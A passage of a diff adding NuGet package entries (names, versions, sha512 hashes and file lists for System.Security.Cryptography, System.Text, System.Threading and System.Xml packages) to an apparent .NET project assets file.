+ "System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "h4CEgOgv5PKVF/HwaHzJRiVboL2THYCou97zpmhjghx5frc7fIvlkY1jL+lnIQyChrJDMNEXS6r7byGif8Cy4w==", + "type": "package", + "path": "system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.6/System.Security.Cryptography.OpenSsl.dll", + "ref/netstandard1.6/System.Security.Cryptography.OpenSsl.dll", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.OpenSsl.dll", + "system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "system.security.cryptography.openssl.nuspec" + ] + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "sha512": "7bDIyVFNL/xKeFHjhobUAQqSpJq9YTOpbEs6mR233Et01STBMXNAc/V+BM6dwYGc95gVh/Zf+iVXWzj3mE8DWg==", + "type": "package", + "path": "system.security.cryptography.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Primitives.dll", + "lib/netstandard1.3/System.Security.Cryptography.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Primitives.dll", + "ref/netstandard1.3/System.Security.Cryptography.Primitives.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.security.cryptography.primitives.4.3.0.nupkg.sha512", + "system.security.cryptography.primitives.nuspec" + ] + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "sha512": "t2Tmu6Y2NtJ2um0RtcuhP7ZdNNxXEgUm2JeoA/0NvlMjAhKCnM1NX07TDl3244mVp3QU6LPEhT3HTtH1uF7IYw==", + "type": "package", + "path": "system.security.cryptography.x509certificates/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.X509Certificates.dll", + "lib/net461/System.Security.Cryptography.X509Certificates.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.X509Certificates.dll", + "ref/net461/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.3/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.3/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/de/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/es/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/fr/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/it/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ja/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ko/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ru/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/zh-hans/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/zh-hant/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.4/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/de/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/es/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/fr/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/it/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ja/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ko/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ru/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/zh-hans/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/zh-hant/System.Security.Cryptography.X509Certificates.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/net461/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/netcore50/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll", + "system.security.cryptography.x509certificates.4.3.0.nupkg.sha512", + "system.security.cryptography.x509certificates.nuspec" + ] + }, + "System.Security.Principal.Windows/4.7.0": { + "sha512": "ojD0PX0XhneCsUbAZVKdb7h/70vyYMDYs85lwEI+LngEONe/17A0cFaRFqZU+sOEidcVswYWikYOQ9PPfjlbtQ==", + "type": "package", + "path": "system.security.principal.windows/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/System.Security.Principal.Windows.dll", + "lib/net461/System.Security.Principal.Windows.dll", + "lib/net461/System.Security.Principal.Windows.xml", + "lib/netstandard1.3/System.Security.Principal.Windows.dll", + "lib/netstandard2.0/System.Security.Principal.Windows.dll", + "lib/netstandard2.0/System.Security.Principal.Windows.xml", + "lib/uap10.0.16299/_._", + "ref/net46/System.Security.Principal.Windows.dll", + "ref/net461/System.Security.Principal.Windows.dll", + "ref/net461/System.Security.Principal.Windows.xml", + "ref/netcoreapp3.0/System.Security.Principal.Windows.dll", + "ref/netcoreapp3.0/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/System.Security.Principal.Windows.dll", + "ref/netstandard1.3/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/de/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/es/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/fr/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/it/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ja/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ko/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ru/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/zh-hans/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/zh-hant/System.Security.Principal.Windows.xml", + "ref/netstandard2.0/System.Security.Principal.Windows.dll", + "ref/netstandard2.0/System.Security.Principal.Windows.xml", + "ref/uap10.0.16299/_._", + "runtimes/unix/lib/netcoreapp2.0/System.Security.Principal.Windows.dll", + "runtimes/unix/lib/netcoreapp2.0/System.Security.Principal.Windows.xml", + "runtimes/unix/lib/netcoreapp2.1/System.Security.Principal.Windows.dll", + "runtimes/unix/lib/netcoreapp2.1/System.Security.Principal.Windows.xml", + "runtimes/win/lib/net46/System.Security.Principal.Windows.dll", + "runtimes/win/lib/net461/System.Security.Principal.Windows.dll", + "runtimes/win/lib/net461/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netcoreapp2.0/System.Security.Principal.Windows.dll", + "runtimes/win/lib/netcoreapp2.0/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netcoreapp2.1/System.Security.Principal.Windows.dll", + "runtimes/win/lib/netcoreapp2.1/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netstandard1.3/System.Security.Principal.Windows.dll", + "runtimes/win/lib/uap10.0.16299/_._", + "system.security.principal.windows.4.7.0.nupkg.sha512", + "system.security.principal.windows.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Text.Encoding/4.3.0": { + "sha512": "BiIg+KWaSDOITze6jGQynxg64naAPtqGHBwDrLaCtixsa5bKiR8dpPOHA7ge3C0JJQizJE+sfkz1wV+BAKAYZw==", + "type": "package", + "path": "system.text.encoding/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Text.Encoding.dll", + "ref/netcore50/System.Text.Encoding.xml", + "ref/netcore50/de/System.Text.Encoding.xml", + "ref/netcore50/es/System.Text.Encoding.xml", + "ref/netcore50/fr/System.Text.Encoding.xml", + "ref/netcore50/it/System.Text.Encoding.xml", + "ref/netcore50/ja/System.Text.Encoding.xml", + "ref/netcore50/ko/System.Text.Encoding.xml", + "ref/netcore50/ru/System.Text.Encoding.xml", + "ref/netcore50/zh-hans/System.Text.Encoding.xml", + "ref/netcore50/zh-hant/System.Text.Encoding.xml", + "ref/netstandard1.0/System.Text.Encoding.dll", + "ref/netstandard1.0/System.Text.Encoding.xml", + "ref/netstandard1.0/de/System.Text.Encoding.xml", + "ref/netstandard1.0/es/System.Text.Encoding.xml", + "ref/netstandard1.0/fr/System.Text.Encoding.xml", + "ref/netstandard1.0/it/System.Text.Encoding.xml", + "ref/netstandard1.0/ja/System.Text.Encoding.xml", + "ref/netstandard1.0/ko/System.Text.Encoding.xml", + "ref/netstandard1.0/ru/System.Text.Encoding.xml", + "ref/netstandard1.0/zh-hans/System.Text.Encoding.xml", + "ref/netstandard1.0/zh-hant/System.Text.Encoding.xml", + "ref/netstandard1.3/System.Text.Encoding.dll", + "ref/netstandard1.3/System.Text.Encoding.xml", + "ref/netstandard1.3/de/System.Text.Encoding.xml", + "ref/netstandard1.3/es/System.Text.Encoding.xml", + "ref/netstandard1.3/fr/System.Text.Encoding.xml", + "ref/netstandard1.3/it/System.Text.Encoding.xml", + "ref/netstandard1.3/ja/System.Text.Encoding.xml", + "ref/netstandard1.3/ko/System.Text.Encoding.xml", + "ref/netstandard1.3/ru/System.Text.Encoding.xml", + "ref/netstandard1.3/zh-hans/System.Text.Encoding.xml", + "ref/netstandard1.3/zh-hant/System.Text.Encoding.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.encoding.4.3.0.nupkg.sha512", + "system.text.encoding.nuspec" + ] + }, + "System.Text.Encoding.Extensions/4.3.0": { + "sha512": "YVMK0Bt/A43RmwizJoZ22ei2nmrhobgeiYwFzC4YAN+nue8RF6djXDMog0UCn+brerQoYVyaS+ghy9P/MUVcmw==", + "type": "package", + "path": "system.text.encoding.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Text.Encoding.Extensions.dll", + "ref/netcore50/System.Text.Encoding.Extensions.xml", + "ref/netcore50/de/System.Text.Encoding.Extensions.xml", + "ref/netcore50/es/System.Text.Encoding.Extensions.xml", + "ref/netcore50/fr/System.Text.Encoding.Extensions.xml", + "ref/netcore50/it/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ja/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ko/System.Text.Encoding.Extensions.xml", + "ref/netcore50/ru/System.Text.Encoding.Extensions.xml", + "ref/netcore50/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netcore50/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/System.Text.Encoding.Extensions.dll", + "ref/netstandard1.0/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/de/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/es/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/fr/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/it/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ja/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ko/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/ru/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/System.Text.Encoding.Extensions.dll", + "ref/netstandard1.3/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/de/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/es/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/fr/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/it/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ja/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ko/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/ru/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/zh-hans/System.Text.Encoding.Extensions.xml", + "ref/netstandard1.3/zh-hant/System.Text.Encoding.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.encoding.extensions.4.3.0.nupkg.sha512", + "system.text.encoding.extensions.nuspec" + ] + }, + "System.Text.RegularExpressions/4.3.0": { + "sha512": "RpT2DA+L660cBt1FssIE9CAGpLFdFPuheB7pLpKpn6ZXNby7jDERe8Ua/Ne2xGiwLVG2JOqziiaVCGDon5sKFA==", + "type": "package", + "path": "system.text.regularexpressions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Text.RegularExpressions.dll", + "lib/netcore50/System.Text.RegularExpressions.dll", + "lib/netstandard1.6/System.Text.RegularExpressions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Text.RegularExpressions.dll", + "ref/netcore50/System.Text.RegularExpressions.dll", + "ref/netcore50/System.Text.RegularExpressions.xml", + "ref/netcore50/de/System.Text.RegularExpressions.xml", + "ref/netcore50/es/System.Text.RegularExpressions.xml", + "ref/netcore50/fr/System.Text.RegularExpressions.xml", + "ref/netcore50/it/System.Text.RegularExpressions.xml", + "ref/netcore50/ja/System.Text.RegularExpressions.xml", + "ref/netcore50/ko/System.Text.RegularExpressions.xml", + "ref/netcore50/ru/System.Text.RegularExpressions.xml", + "ref/netcore50/zh-hans/System.Text.RegularExpressions.xml", + "ref/netcore50/zh-hant/System.Text.RegularExpressions.xml", + "ref/netcoreapp1.1/System.Text.RegularExpressions.dll", + "ref/netstandard1.0/System.Text.RegularExpressions.dll", + "ref/netstandard1.0/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.0/zh-hant/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/System.Text.RegularExpressions.dll", + "ref/netstandard1.3/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.3/zh-hant/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/System.Text.RegularExpressions.dll", + "ref/netstandard1.6/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/de/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/es/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/fr/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/it/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ja/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ko/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/ru/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/zh-hans/System.Text.RegularExpressions.xml", + "ref/netstandard1.6/zh-hant/System.Text.RegularExpressions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.text.regularexpressions.4.3.0.nupkg.sha512", + "system.text.regularexpressions.nuspec" + ] + }, + "System.Threading/4.3.0": { + "sha512": "VkUS0kOBcUf3Wwm0TSbrevDDZ6BlM+b/HRiapRFWjM5O0NS0LviG0glKmFK+hhPDd1XFeSdU1GmlLhb2CoVpIw==", + "type": "package", + "path": "system.threading/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Threading.dll", + "lib/netstandard1.3/System.Threading.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Threading.dll", + "ref/netcore50/System.Threading.xml", + "ref/netcore50/de/System.Threading.xml", + "ref/netcore50/es/System.Threading.xml", + "ref/netcore50/fr/System.Threading.xml", + "ref/netcore50/it/System.Threading.xml", + "ref/netcore50/ja/System.Threading.xml", + "ref/netcore50/ko/System.Threading.xml", + "ref/netcore50/ru/System.Threading.xml", + "ref/netcore50/zh-hans/System.Threading.xml", + "ref/netcore50/zh-hant/System.Threading.xml", + "ref/netstandard1.0/System.Threading.dll", + "ref/netstandard1.0/System.Threading.xml", + "ref/netstandard1.0/de/System.Threading.xml", + "ref/netstandard1.0/es/System.Threading.xml", + "ref/netstandard1.0/fr/System.Threading.xml", + "ref/netstandard1.0/it/System.Threading.xml", + "ref/netstandard1.0/ja/System.Threading.xml", + "ref/netstandard1.0/ko/System.Threading.xml", + "ref/netstandard1.0/ru/System.Threading.xml", + "ref/netstandard1.0/zh-hans/System.Threading.xml", + "ref/netstandard1.0/zh-hant/System.Threading.xml", + "ref/netstandard1.3/System.Threading.dll", + "ref/netstandard1.3/System.Threading.xml", + "ref/netstandard1.3/de/System.Threading.xml", + "ref/netstandard1.3/es/System.Threading.xml", + "ref/netstandard1.3/fr/System.Threading.xml", + "ref/netstandard1.3/it/System.Threading.xml", + "ref/netstandard1.3/ja/System.Threading.xml", + "ref/netstandard1.3/ko/System.Threading.xml", + "ref/netstandard1.3/ru/System.Threading.xml", + "ref/netstandard1.3/zh-hans/System.Threading.xml", + "ref/netstandard1.3/zh-hant/System.Threading.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Threading.dll", + "system.threading.4.3.0.nupkg.sha512", + "system.threading.nuspec" + ] + }, + "System.Threading.Tasks/4.3.0": { + "sha512": "LbSxKEdOUhVe8BezB/9uOGGppt+nZf6e1VFyw6v3DN6lqitm0OSn2uXMOdtP0M3W4iMcqcivm2J6UgqiwwnXiA==", + "type": "package", + "path": "system.threading.tasks/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Threading.Tasks.dll", + "ref/netcore50/System.Threading.Tasks.xml", + "ref/netcore50/de/System.Threading.Tasks.xml", + "ref/netcore50/es/System.Threading.Tasks.xml", + "ref/netcore50/fr/System.Threading.Tasks.xml", + "ref/netcore50/it/System.Threading.Tasks.xml", + "ref/netcore50/ja/System.Threading.Tasks.xml", + "ref/netcore50/ko/System.Threading.Tasks.xml", + "ref/netcore50/ru/System.Threading.Tasks.xml", + "ref/netcore50/zh-hans/System.Threading.Tasks.xml", + "ref/netcore50/zh-hant/System.Threading.Tasks.xml", + "ref/netstandard1.0/System.Threading.Tasks.dll", + "ref/netstandard1.0/System.Threading.Tasks.xml", + "ref/netstandard1.0/de/System.Threading.Tasks.xml", + "ref/netstandard1.0/es/System.Threading.Tasks.xml", + "ref/netstandard1.0/fr/System.Threading.Tasks.xml", + "ref/netstandard1.0/it/System.Threading.Tasks.xml", + "ref/netstandard1.0/ja/System.Threading.Tasks.xml", + "ref/netstandard1.0/ko/System.Threading.Tasks.xml", + "ref/netstandard1.0/ru/System.Threading.Tasks.xml", + "ref/netstandard1.0/zh-hans/System.Threading.Tasks.xml", + "ref/netstandard1.0/zh-hant/System.Threading.Tasks.xml", + "ref/netstandard1.3/System.Threading.Tasks.dll", + "ref/netstandard1.3/System.Threading.Tasks.xml", + "ref/netstandard1.3/de/System.Threading.Tasks.xml", + "ref/netstandard1.3/es/System.Threading.Tasks.xml", + "ref/netstandard1.3/fr/System.Threading.Tasks.xml", + "ref/netstandard1.3/it/System.Threading.Tasks.xml", + "ref/netstandard1.3/ja/System.Threading.Tasks.xml", + "ref/netstandard1.3/ko/System.Threading.Tasks.xml", + "ref/netstandard1.3/ru/System.Threading.Tasks.xml", + "ref/netstandard1.3/zh-hans/System.Threading.Tasks.xml", + "ref/netstandard1.3/zh-hant/System.Threading.Tasks.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.tasks.4.3.0.nupkg.sha512", + "system.threading.tasks.nuspec" + ] + }, + "System.Threading.Tasks.Extensions/4.3.0": { + "sha512": "npvJkVKl5rKXrtl1Kkm6OhOUaYGEiF9wFbppFRWSMoApKzt2PiPHT2Bb8a5sAWxprvdOAtvaARS9QYMznEUtug==", + "type": "package", + "path": "system.threading.tasks.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.dll", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.xml", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.dll", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.xml", + "system.threading.tasks.extensions.4.3.0.nupkg.sha512", + "system.threading.tasks.extensions.nuspec" + ] + }, + "System.Threading.Timer/4.3.0": { + "sha512": "Z6YfyYTCg7lOZjJzBjONJTFKGN9/NIYKSxhU5GRd+DTwHSZyvWp1xuI5aR+dLg+ayyC5Xv57KiY4oJ0tMO89fQ==", + "type": "package", + "path": "system.threading.timer/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net451/_._", + "lib/portable-net451+win81+wpa81/_._", + "lib/win81/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net451/_._", + "ref/netcore50/System.Threading.Timer.dll", + "ref/netcore50/System.Threading.Timer.xml", + "ref/netcore50/de/System.Threading.Timer.xml", + "ref/netcore50/es/System.Threading.Timer.xml", + "ref/netcore50/fr/System.Threading.Timer.xml", + "ref/netcore50/it/System.Threading.Timer.xml", + "ref/netcore50/ja/System.Threading.Timer.xml", + "ref/netcore50/ko/System.Threading.Timer.xml", + "ref/netcore50/ru/System.Threading.Timer.xml", + "ref/netcore50/zh-hans/System.Threading.Timer.xml", + "ref/netcore50/zh-hant/System.Threading.Timer.xml", + "ref/netstandard1.2/System.Threading.Timer.dll", + "ref/netstandard1.2/System.Threading.Timer.xml", + "ref/netstandard1.2/de/System.Threading.Timer.xml", + "ref/netstandard1.2/es/System.Threading.Timer.xml", + "ref/netstandard1.2/fr/System.Threading.Timer.xml", + "ref/netstandard1.2/it/System.Threading.Timer.xml", + "ref/netstandard1.2/ja/System.Threading.Timer.xml", + "ref/netstandard1.2/ko/System.Threading.Timer.xml", + "ref/netstandard1.2/ru/System.Threading.Timer.xml", + "ref/netstandard1.2/zh-hans/System.Threading.Timer.xml", + "ref/netstandard1.2/zh-hant/System.Threading.Timer.xml", + "ref/portable-net451+win81+wpa81/_._", + "ref/win81/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.timer.4.3.0.nupkg.sha512", + "system.threading.timer.nuspec" + ] + }, + "System.Xml.ReaderWriter/4.3.0": { + "sha512": "GrprA+Z0RUXaR4N7/eW71j1rgMnEnEVlgii49GZyAjTH7uliMnrOU3HNFBr6fEDBCJCIdlVNq9hHbaDR621XBA==", + "type": "package", + "path": "system.xml.readerwriter/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net46/System.Xml.ReaderWriter.dll", + "lib/netcore50/System.Xml.ReaderWriter.dll", + "lib/netstandard1.3/System.Xml.ReaderWriter.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net46/System.Xml.ReaderWriter.dll", + "ref/netcore50/System.Xml.ReaderWriter.dll", + "ref/netcore50/System.Xml.ReaderWriter.xml", + "ref/netcore50/de/System.Xml.ReaderWriter.xml", + "ref/netcore50/es/System.Xml.ReaderWriter.xml", + "ref/netcore50/fr/System.Xml.ReaderWriter.xml", + "ref/netcore50/it/System.Xml.ReaderWriter.xml", + "ref/netcore50/ja/System.Xml.ReaderWriter.xml", + "ref/netcore50/ko/System.Xml.ReaderWriter.xml", + "ref/netcore50/ru/System.Xml.ReaderWriter.xml", + "ref/netcore50/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netcore50/zh-hant/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/System.Xml.ReaderWriter.dll", + "ref/netstandard1.0/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/de/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/es/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/fr/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/it/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ja/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ko/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ru/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/zh-hant/System.Xml.ReaderWriter.xml", + 